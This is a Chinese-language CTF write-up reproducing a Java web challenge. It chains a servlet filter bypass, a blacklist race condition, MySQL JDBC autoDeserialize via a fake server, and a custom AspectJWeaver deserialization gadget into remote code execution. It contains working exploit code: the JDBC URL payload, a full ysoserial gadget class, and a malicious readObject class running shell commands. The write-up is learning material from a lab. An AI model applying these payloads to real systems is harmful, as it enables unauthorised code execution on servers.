AntCTF x D^3CTF [non RCE?] 赛后复现
前言
基本没怎么打CTF比赛了,最近空闲下来想拓展和活跃下思路,刚好看到AntCTF的一道web题目的writeup,打算跟着学习一波
环境搭建
首先搭好环境
https://github.com/Ant-FG-Lab/non_RCE
idea里面直接使用maven就可以,web启动在launch里面
这道题目考察的是
filter的配置绕过
条件竞争
mysql反序列化
AspectJWeaver的gadget构造
加载恶意类实现远程代码执行
知识点1
绕过filter
首先第一个点绕过LoginFilter,先看看这个filter的内容
大致意思是题目有个密码,基本爆破不了,访问admin/路径的时候会触发该filter验证密码,密码以password的get参数传入,password不对直接返回401认证失败
绕过方法是使用forward,恰巧AntiUrlAttackerFilter有forward操作
方式很简单将传入的./或者;替换为空并且将新的url传入forward即可
这是为什么呢,这里在@WebFilter 装饰器的参数中有个叫dispatcherTypes的参数,默认存在DispatcherType.REQUEST参数,而他还有DispatcherType.FORWARD、DispatcherType.INCLUDE、DispatcherType.ASYNC、DispatcherType.ERROR这4个参数,如果在设置中设置了dispatcherTypes所对应的参数,则会进行filter过滤,反之没有设置则不会再被filter进行过滤
因为此次为默认,只会过滤REQUEST请求,不会过滤FORWARD,则照成了绕过
此时使用forward跳转也会触发LoginFilter过滤器了
知识点2
jdbc中存在参数autoDeserialize,这个参数官方手册解释到
autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。
但这个参数默认是false,因为可以控制jdbc的url于是我们需要将其设置为true,但是在BlackListChecker中设置了黑名单,中有autoDeserialize和%为黑名单内容
所以带上autoDeserialize请求会返回400,过滤%
是为了过滤掉编码
但因为BlackList使用的单例工厂模式,即只有一个实例
再看check(String s)
函数操作,取出实例后将传入的字符串放入setToBeChecked(String s)
函数中,因为只有一个实例,所以每次请求都会刷新this.toBeChecked
的值,意味着只要在被拦截的poc执行doCheck()
之前将不被拦截的poc放入setToBeChecked(String s)
中重新对this.toBeChecked
赋值,则可绕过
也就是此处存在条件竞争,一个poc发送带有autoDeserialize字段的请求,另一个不带,2个爆破一起启动
知识点3
mysql反序列化,为了理解该点,我先手动添加commons.collections 3组件
那么mysql反序列化即在连接jdbc阶段即可触发,触发条件autoDeserialize=true
在知识点2中已经解决,而mysql反序列化是因为下面一串代码照成,在mysql-connector-java
中如果autoDeserialize=true
则会调用到readObject()
这是我们反序列的入口
public Object getObject(int columnIndex) throws SQLException {
……
case BLOB:
byte[] data = getBytes(columnIndex);
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
}
}
}
接下来需要一个参数statementInterceptors
来加载对应的类触发反序列化的操作,这里网上查一下在5.1版本可以使用下面的类
statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
因此这里的poc进一步变成
jdbc:mysql://127.0.0.1:3306/hhsrc?autoDeserialize=true%26user=root%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
接下来有触发,就是需要被readObject()
的数据如何传入了,但是在mysql-connector-java
中传入的columnIndex
变量其实为sql语句执行后的返回内容,但是此处我们可以控制mysql的连接地址,因此可以做到去自定义mysql服务器的内容,让题目环境连接后触发,而com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
会触发下面的sql语句
SHOW SESSION STATUS
此时需要一个mysql服务器将内容返回为反序列的poc,即可完成利用,github有现成的工具
https://github.com/fnmsd/MySQL_Fake_Server
因为我3306的mysql已经启动,这里就将poc的端口设置为3307
以及对ysoserial.jar路径进行设置
使用dnslog查看是否存在漏洞
dnslog记录信息
使用poc
# touch /Users/mi0/Desktop/1.txt
# bash -c {echo,dG91Y2ggL1VzZXJzL21pMC9EZXNrdG9wLzEudHh0}|{base64,-d}|{bash,-i}
触发,我本机的java是jdk1.8 所以使用CommonsCollections5
组件
发送poc成功添加文件,执行命令
添加成功
这里因为没有commons.collections类的组件,暂时我手动添加,利用AspectJWeaver组件和DataMap写在知识点4中
知识点4
反序列化构造,这里使用了AspectJWeaver组件,writeup中提到ysoserial项目中近期也更新了其poc,可以看看怎么写的
看到他使用了commons.collections组件,题目给的pom.xml中是没有该组件的,出题人也表示不想让选手直接使用现成的poc,因此此处需要自己写gadget的poc
这里构造gadget就需要DataMap文件中的代码,可以看到DataMap类是调用了Serializable
接口是可以反序列化的
首先对AspectJWeaver进行分析,从ysoserial可知,使用反射调用了StoreableCachingMap
,simpleCache即为实例
找到依赖包中的源码
StoreableCachingMap
中对put方法进行了重写
跟进writeToPath方法,可以看到将 valueBytes的内容写到 key文件中
key文件的路径在poc中为当前目录
对其中调用的commons-collection3的理解,其中lazymap的作用,跟踪一下,发现在get不存在时会触发put操作
TiedMapEntry在调用getValue方法时会调用成员变量的map的key值
而HashMap在yso中的代码逻辑会调用对象的getValue()
方法
大致逻辑是
HashMap(不依赖common-collection) -> 传入TiedMapEntry实例 -> 触发getValue
TiedMapEntry(依赖common-collection) -> 传入Lazymap实例和文件名 -> 触发getValue时,触发Lazymap的get()操作,参数为文件名
Lazymap(依赖common-collection) -> 传入AspectJWeaver实例和字符串 -> 触发get()操作时,触发传入AspectJWeaver实例的put()操作,key为文件名,value为字符串
AspectJWeaver(不依赖common-collection) —> 通过Lazymap执行put操作 -> 触发自身的put操作写入文件
那么此时就需要从DataMap中替换掉TideMapEntry和Lazymap以及Transformer,ConstantTransformer参数
通读DataMap可以大致建立替换关系
TiedMapEntry => DataMap$Entry
Lazymap => DataMap
进行修改,将原先Common-collection的组件进行替换,Entry是DataMap的内部内,因此反射声明的时候需要带上对应实例
大致逻辑如下
HashMap调用DataMap$Entry
的hasCode()
DataMap$Entry
的hasCode()
触发this.getValue()
,并且this.key
参数为文件路径
this.value
是为null的接下来触发外部的类DataMap
的get()
方法
this.values的值为org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap
强转后的map,该值在此次会被判定为空,则进入this.vaules.put()
中,也就是StoreableCachingMap
的put()
方法,传入的key值为文件路径
,v值为this.wrapperMap.get(文件路径)
也就是content
变量(即文件内容),运行下poc
成功新加文件
添加aaa.txt文件
知识点5
现在问题来了,整个知识点4的反序列化流程分析完,该漏洞只能做到对服务器上进行写文件,但题目的环境基本没有使用jsp之类可直接运行脚本文件。也就是如果存在个上传点,也无法实现webshell上传
这里可以利用知识点3中的statementInterceptors
来帮助我们完成rce,也就是第一步上传能弹shell的类到指定路径,第二步用statementInterceptors
调用上传的类实现rce
先打包试试原生态的aaa.txt的poc
使用知识点3的方法,这里方便调试我把知识点2中的blacklist的黑名单过滤关了
在调试时遇到个坑(是我对反序列化还不够了解导致的),包的路径必须和目标的路径相同才能反序列成功,因此对yso中添加的DataMap的位置进行了调整
现在调试成功,可以对目标服务器写入文件了
接下来是路径文件,如果使用.
的当前目录,则会写到项目的根目录下
现在的想法是写到我们能调用的目录下面去,那么应该在target/classes目录下面,准备反序列化的poc
我在servlet目录下生成一个叫做poc的类
package servlet;
import java.io.*;
public class poc implements Serializable {
private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
out.defaultReadObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
}
}
通过以下代码生成反序列化字符串
poc o = new poc();
FileOutputStream fileOutputStream = new FileOutputStream("/Users/mi0/Desktop/serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
下一步修改mysql反序列工具中的二进制字段,让返回值为我们生成的序列化文件内容
尝试一下,成功
本地调试成功,接下来就是把poc类传到目标服务器即可,将poc.class提取出来并保存为base64
import base64
f = open('poc.class', 'rb')
clazz = f.read()
result = base64.b64encode(clazz)
print(result)
把目录下的poc.java删除,重新打包
mysql反序列工具中添加我们的poc
发送,成功添加
修改mysql反序列化为打开生成的poc文件后再次发送,成功执行touch命令
解题流程
在上面5个知识点将题目分解成5个知识点并逐个调试完成后,现将整个题目进行复现
编写根据题目提供的DataMap类的反序列化gadget
package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import org.python.modules.time.Time;
import checker.DataMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2"})
@Authors({ "sijidou" })
public class Antictf implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
HashMap wrapperMap = new HashMap();
wrapperMap.put(filename,content);
DataMap dataMap = new DataMap(wrapperMap, (Map)simpleCache);
Constructor Entryctor = Reflections.getFirstCtor("checker.DataMap$Entry");
Reflections.setAccessible(Entryctor);
Object entry = Entryctor.newInstance(dataMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"bbb.txt;YWhpaGloaQ=="};
PayloadRunner.run(Antictf.class, args);
}
}
使用maven打包成jar包,idea能够快速打包,在右侧栏点开maven,点击compile再点package即可,生成的jar包在target目录下
编写恶意类,运行生成serialize.txt
package servlet;
import java.io.*;
import java.io.Serializable;
public class poc implements Serializable {
public poc() {
}
private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
out.defaultReadObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
}
public static void main(String[] args) throws Exception {
poc o = new poc();
FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
}
}
运行后使用python脚本将class的内容转换为base64
import base64
f = open('poc.class', 'rb')
clazz = f.read()
result = base64.b64encode(clazz)
print(result)
编辑mysql反序列化工具的config.json,并修改生成的yso的jar包的路径
https://github.com/fnmsd/MySQL_Fake_Server
启动mysql工具(我这里启到3307端口的),使用条件竞争执行,执行反序列化写文件
重复发送1000次
修改mysql反序列化工具代码,将传入字符串改为poc的反序列化值
重新启动mysql反序列化的server.py,再次重复条件竞争
成功添加